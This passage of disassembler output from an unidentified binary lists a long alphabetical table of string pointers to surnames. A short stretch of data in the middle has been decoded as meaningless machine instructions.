		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
; ---------------------------------------------------------------------------


loc_42E3C8:				; CODE XREF: ___:loc_42E3C8j
		js	short loc_42E3C8
		inc	edx
		add	[esi+edi*8+42h], ch
		add	[eax-2], ah
		inc	edx
		add	[esi+edi*8+42h], dl
		add	[eax-2], cl
		inc	edx
		add	[esi+edi*8], bh
		inc	edx
		add	[esi+edi*8], dh
		inc	edx
		add	[esi+edi*8], ch
		inc	edx
		add	[esi+edi*8], ah
		inc	edx
		add	[esi+edi*8], bl
		inc	edx
		add	[esi+edi*8], dl
		inc	edx
		add	[esi+edi*8], al
		inc	edx
		add	ah, bh
		std
		inc	edx
		add	al, dh
		std
		inc	edx
		add	al, ch
		std
		inc	edx
		add	al, ah
		std
		inc	edx
		add	al, bl
		std
		inc	edx
		add	al, dl
		std
		inc	edx
		add	ah, al
		std
		inc	edx
		add	[eax-4FFFBD03h], bh
		std
		inc	edx
		add	[ebp+edi*8-263FFBEh], ah
		inc	edx
		add	[eax-7BFFBD03h], dl
		std
		inc	edx
		add	[ebp+edi*8+42h], bh
		add	[eax-3], dh
		inc	edx
		add	[ebp+edi*8+42h], ah
		add	[ebp+edi*8+42h], bl
		add	[eax-3], dl
		inc	edx
		add	[eax-3], cl
		inc	edx
		add	[eax-3], al
		inc	edx
		add	ds:0FD280042h[edi*8], dh
		inc	edx
		add	[eax], ah
		std
		inc	edx
		add	[eax], bl
		std
		inc	edx
		add	ds:0FD0C0042h[edi*8], dl
		inc	edx
; ---------------------------------------------------------------------------
		db 0
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
